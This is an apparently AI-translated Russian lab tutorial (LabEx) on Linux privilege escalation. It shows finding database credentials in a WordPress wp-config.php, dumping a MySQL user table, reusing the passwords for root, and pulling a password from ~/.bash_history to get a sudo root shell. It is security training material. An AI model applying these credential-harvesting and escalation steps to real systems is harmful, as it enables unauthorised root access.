Поиск и эксплуатация конфиденциальных файлов конфигурации для повышения привилегий в Nmap

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы научимся находить и использовать уязвимые конфигурационные файлы в системе Linux для повышения своих привилегий до привилегий суперпользователя (root). Цель состоит в том, чтобы получить более глубокое понимание конфигурационных файлов веб-сервисов и конфигурационных файлов, связанных с пользователями, а также понять, как использовать их для повышения привилегий. Мы предполагаем, что мы уже получили оболочку с низкими привилегиями, например, от пользователя www-data, с помощью уязвимости веб-приложения, и будем изучать методы повышения доступа до привилегий суперпользователя.


Skills Graph

Исследование конфигурационных файлов веб-сервисов

Конфигурационные файлы веб-сервисов могут содержать конфиденциальную информацию, такую как учетные данные базы данных, которые можно использовать для повышения привилегий, если администратор повторно использовал пароли.

  1. Сначала откройте терминал и перейдите в каталог /home/labex/project.

    cd /home/labex/project

    Начнем с инициализации лабораторной среды:

    ./env_setup_1.sh

    После инициализации мы работаем от имени пользователя www-data, имитируя оболочку с низкими привилегиями, полученную с помощью уязвимости веб-приложения.

  2. Веб-сервисы в Linux обычно хранятся в каталоге /var/www. Следует обратить внимание на следующие файлы:

    • database.php
    • user.php
    • *.config
    • config.php

    Эти файлы можно найти с помощью следующей команды:

    find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null

    Ожидаемый вывод:

    /var/www/wordpress/wp-admin/includes/user.php
    /var/www/wordpress/wp-includes/user.php
    /var/www/wordpress/wp-content/plugins/akismet/views/config.php

    Кроме того, если целевая система использует систему управления контентом (Content Management System, CMS), можно поискать стандартное расположение файла подключения к базе данных для этой конкретной CMS.

  3. В этой лабораторной среде сервер использует CMS WordPress. В результате поиска мы обнаружили, что конфигурация базы данных WordPress хранится в файле /var/www/wordpress/wp-config.php:

    more /var/www/wordpress/wp-config.php

    Этот файл содержит учетные данные для учетной записи root MySQL:

    /** MySQL database username */
    define( 'DB_USER', 'root' );
    
    /** MySQL database password */
    define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
  4. Учитывая возможность повторного использования пароля администратором, мы можем попробовать войти в систему от имени суперпользователя (root) с использованием этого пароля:

    su -

    К сожалению, этот пароль не подходит для учетной записи root.

  5. Далее мы можем войти в базу данных MySQL и поискать больше информации:

    mysql -u root -p -h 127.0.0.1

    Введите пароль из файла wp-config.php:

    cD8M2M8fMiDHu4m1

    Внутри базы данных MySQL можно выполнить следующие команды, чтобы собрать больше информации:

    Проверьте доступные базы данных:

    show databases;

    Выберите базу данных ROB:

    use ROB;

    Выведите список таблиц в базе данных ROB:

    show tables;

    Выберите таблицу rob_user:

    select * from rob_user;

    Из базы данных мы получаем еще два набора учетных данных:

    root:CMPc5MoAGf
    alice:psoj9apv4u

    Выйдите из базы данных MySQL:

    exit
  6. Мы можем попробовать войти в систему от имени суперпользователя (root) с использованием пароля CMPc5MoAGf:

    su -

    Введите пароль, полученный из базы данных:

    CMPc5MoAGf

    На этот раз мы успешно получаем доступ с привилегиями суперпользователя!

  7. Создайте файл с именем proof.txt в каталоге /root, чтобы продемонстрировать успешное повышение привилегий:

    echo "Success" > /root/proof.txt

    Проверьте, что файл был создан:

    ls /root/proof.txt

В этом шаге мы научились находить и использовать конфиденциальную информацию в конфигурационных файлах веб-сервисов для повышения привилегий. Основная идея заключается в поиске аутентификационных учетных данных на сервере и использовании возможного повторного использования паролей для повышения привилегий.

Исследование конфигурационных файлов, связанных с пользователями

В этом шаге мы сосредоточимся на конфигурационных файлах, связанных с пользователями, которые могут содержать конфиденциальную информацию.

После предыдущего шага вы, возможно, все еще находитесь в оболочке с привилегиями суперпользователя. В этом шаге мы вернемся к пользователю labex, выполнив следующую команду:

su - labex
  1. Сначала перейдите в каталог /home/labex/project.

    cd /home/labex/project

    Начнем с инициализации лабораторной среды:

    ./env_setup_2.sh

    После инициализации мы работаем от имени пользователя user001.

  2. Два основных конфигурационных файла, связанных с пользователями, которые нужно исследовать:

    • ~/.bash_profile: Используется для настройки переменных окружения и запускаемых программ. Этот файл выполняется при входе пользователя в систему (login).
    • ~/.bash_history: Файл в домашнем каталоге каждого пользователя, который записывает историю команд, введенных пользователем в оболочке. Обычно хранит последние 1000 команд (эта функция может быть отключена в некоторых дистрибутивах Linux).
  3. Начнем с проверки файла ~/.bash_profile:

    cat ~/.bash_profile

    Ожидаемый вывод:

    cat: /home/user001/.bash_profile: No such file or directory

    В данном случае пользователь user001, похоже, не использует файл ~/.bash_profile.

  4. Далее проверим файл ~/.bash_history:

    cat ~/.bash_history

    Здесь мы находим команду, записанную в истории:

    ...
    echo user001:09FMWNFS7n | chpasswd
    ...

    Эта команда показывает, что пароль пользователя user001 был изменен на 09FMWNFS7n.

  5. Мы можем попробовать использовать этот пароль для повышения привилегий:

    sudo whoami

    И введите пароль, найденный в файле ~/.bash_history:

    09FMWNFS7n

    Пароль подходит, и мы можем выполнять команды с привилегиями sudo.

  6. Чтобы получить оболочку с привилегиями суперпользователя, можно использовать следующую команду:

    sudo /bin/bash -p

    Мы успешно получили оболочку с привилегиями суперпользователя, используя информацию из истории команд пользователя.

  7. Наконец, создайте файл с именем success.txt в каталоге /root, чтобы завершить лабораторную работу:

    echo "Congratulations" | sudo tee /root/success.txt

Итоги

В этом лабораторном занятии мы научились находить и использовать конфиденциальную информацию в конфигурационных файлах веб-сервисов и конфигурационных файлах, связанных с пользователями, для повышения привилегий в системе Linux. Мы изучили методы поиска файлов, которые могут содержать аутентификационные учетные данные, такие как файлы подключения к базе данных, история команд пользователя и другие конфигурационные файлы. Используя возможность повторного использования паролей, мы смогли получить доступ с привилегиями суперпользователя (root).

Основная идея заключается в том, чтобы всегда быть на чеку по поводу конфиденциальной информации, хранящейся в системе, так как она может потенциально привести к повышению привилегий. Хотя в этом лабораторном занятии были рассмотрены конкретные типы файлов, важно сохранять мысль о непрерывном поиске любых файлов или информации, которая может быть использована для повышения привилегий.